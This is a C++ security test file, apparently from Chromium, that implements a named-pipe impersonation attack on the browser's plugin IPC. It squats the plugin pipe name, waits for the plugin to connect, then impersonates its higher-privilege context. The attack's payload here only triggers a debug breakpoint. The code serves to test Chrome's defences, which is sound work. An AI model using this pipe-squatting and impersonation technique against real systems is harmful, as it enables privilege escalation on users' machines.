1 // Copyright (c) 2006-2008 The Chromium Authors. All rights reserved. 2 // Use of this source code is governed by a BSD-style license that can be 3 // found in the LICENSE file. 4 5 #include <windows.h> 6 #include <string> 7 #include <sstream> 8 9 #include "chrome/test/security_tests/ipc_security_tests.h" 10 11 namespace { 12 13 // Debug output messages prefix. 14 const char kODSMgPrefix[] = "[security] "; 15 // Format of the Chrome browser pipe for plugins. 16 const wchar_t kChromePluginPipeFmt[] = L"\\\\.\\pipe\\chrome.%ls.p%d"; 17 // Size for the in/out pipe buffers. 18 const int kBufferSize = 1024; 19 20 // Define the next symbol if you want to have tracing of errors. 21 #ifdef PIPE_SECURITY_DBG 22 // Generic debug output function. 23 void ODSMessageGLE(const char* txt) { 24 DWORD gle = ::GetLastError(); 25 std::ostringstream oss; 26 oss << kODSMgPrefix << txt << " 0x" << std::hex << gle; 27 ::OutputDebugStringA(oss.str().c_str()); 28 } 29 #else 30 void ODSMessageGLE(const char* txt) { 31 } 32 #endif 33 34 // Retrieves the renderer pipe name from the command line. Returns true if the 35 // name was found. 36 bool PipeNameFromCommandLine(std::wstring* pipe_name) { 37 std::wstring cl(::GetCommandLineW()); 38 const wchar_t key_name[] = L"--channel"; 39 std::wstring::size_type pos = cl.find(key_name, 0); 40 if (std::wstring::npos == pos) { 41 return false; 42 } 43 pos = cl.find(L"=", pos); 44 if (std::wstring::npos == pos) { 45 return false; 46 } 47 ++pos; 48 size_t dst = cl.length() - pos; 49 if (dst <4) { 50 return false; 51 } 52 for (; dst != 0; --dst) { 53 if (!isspace(cl[pos])) { 54 break; 55 } 56 ++pos; 57 } 58 if (0 == dst) { 59 return false; 60 } 61 std::wstring::size_type pos2 = pos; 62 for (; dst != 0; --dst) { 63 if (isspace(cl[pos2])) { 64 break; 65 } 66 ++pos2; 67 } 68 *pipe_name = cl.substr(pos, pos2); 69 return true; 70 } 71 72 // Extracts the browser process id and the channel id given the renderer 73 // pipe name. 74 bool InfoFromPipeName(const std::wstring& pipe_name, std::wstring* parent_id, 75 std::wstring* channel_id) { 76 std::wstring::size_type pos = pipe_name.find(L".", 0); 77 if (std::wstring::npos == pos) { 78 return false; 79 } 80 *parent_id = pipe_name.substr(0, pos); 81 *channel_id = pipe_name.substr(pos + 1); 82 return true; 83 } 84 85 // Creates a server pipe, in byte mode. 86 HANDLE MakeServerPipeBase(const wchar_t* pipe_name) { 87 HANDLE pipe = ::CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, 88 PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 3, 89 kBufferSize, kBufferSize, 5000, NULL); 90 if (INVALID_HANDLE_VALUE == pipe) { 91 ODSMessageGLE("pipe creation failed"); 92 } 93 return pipe; 94 } 95 96 // Creates a chrome plugin server pipe. 97 HANDLE MakeServerPluginPipe(const std::wstring& prefix, int channel) { 98 wchar_t pipe_name[MAX_PATH]; 99 swprintf_s(pipe_name, kChromePluginPipeFmt, prefix.c_str(), channel); 100 return MakeServerPipeBase(pipe_name); 101 } 102 103 struct Context { 104 HANDLE pipe; 105 explicit Context(HANDLE arg_pipe) : pipe(arg_pipe) { 106 } 107 }; 108 109 // This function is called from a thread that has a security context that is 110 // higher than the renderer security context. This can be the plugin security 111 // context or the browser security context. 112 void DoEvilThings(Context* context) { 113 // To make the test fail we simply trigger a breakpoint in the renderer. 114 ::DisconnectNamedPipe(context->pipe); 115 __debugbreak(); 116 } 117 118 // This is a pipe server thread routine. 119 DWORD WINAPI PipeServerProc(void* thread_param) { 120 if (NULL == thread_param) { 121 return 0; 122 } 123 Context* context = static_cast<Context*>(thread_param); 124 HANDLE server_pipe = context->pipe; 125 126 char buffer[4]; 127 DWORD bytes_read = 0; 128 129 for (;;) { 130 // The next call blocks until a connection is made. 131 if (!::ConnectNamedPipe(server_pipe, NULL)) { 132 if (GetLastError() != ERROR_PIPE_CONNECTED) { 133 ODSMessageGLE("== connect named pipe failed =="); 134 continue; 135 } 136 } 137 // return value of ReadFile is unimportant. 138 ::ReadFile(server_pipe, buffer, 1, &bytes_read, NULL); 139 if (::ImpersonateNamedPipeClient(server_pipe)) { 140 ODSMessageGLE("impersonation obtained"); 141 DoEvilThings(context); 142 break; 143 } else { 144 ODSMessageGLE("impersonation failed"); 145 } 146 ::DisconnectNamedPipe(server_pipe); 147 } 148 delete context; 149 return 0; 150 } 151 } // namespace 152 153 // Implements a pipe impersonation attack resulting on a privilege elevation on 154 // the chrome pipe-based IPC. 155 // When a web-page that has a plug-in is loaded, chrome will do the following 156 // steps: 157 // 1) Creates a server pipe with name 'chrome.<pid>.p<n>'. Initially n = 1. 158 // 2) Launches chrome with command line --type=plugin --channel=<pid>.p<n> 159 // 3) The new (plugin) process connects to the pipe and sends a 'hello' 160 // message. 161 // The attack creates another server pipe with the same name before step one 162 // so when the plugin connects it connects to the renderer instead. Once the 163 // connection is acepted and at least a byte is read from the pipe, the 164 // renderer can impersonate the plugin process which has a more relaxed 165 // security context (privilege elevation). 166 // 167 // Note that the attack can also be peformed after step 1. In this case we need 168 // another thread which used to connect to the existing server pipe so the 169 // plugin does not connect to chrome but to our pipe. 170 bool PipeImpersonationAttack() { 171 std::wstring pipe_name; 172 if (!PipeNameFromCommandLine(&pipe_name)) { 173 return false; 174 } 175 std::wstring parent_id; 176 std::wstring channel_id; 177 if (!InfoFromPipeName(pipe_name, &parent_id, &channel_id)) { 178 return false; 179 } 180 HANDLE plugin_pipe = MakeServerPluginPipe(parent_id, 1); 181 if (INVALID_HANDLE_VALUE == plugin_pipe) { 182 return true; 183 } 184 185 HANDLE thread = ::CreateThread(NULL, 0, PipeServerProc, 186 new Context(plugin_pipe), 0, NULL); 187 if (NULL == thread) { 188 return false; 189 } 190 ::CloseHandle(thread); 191 return true; 192 } 193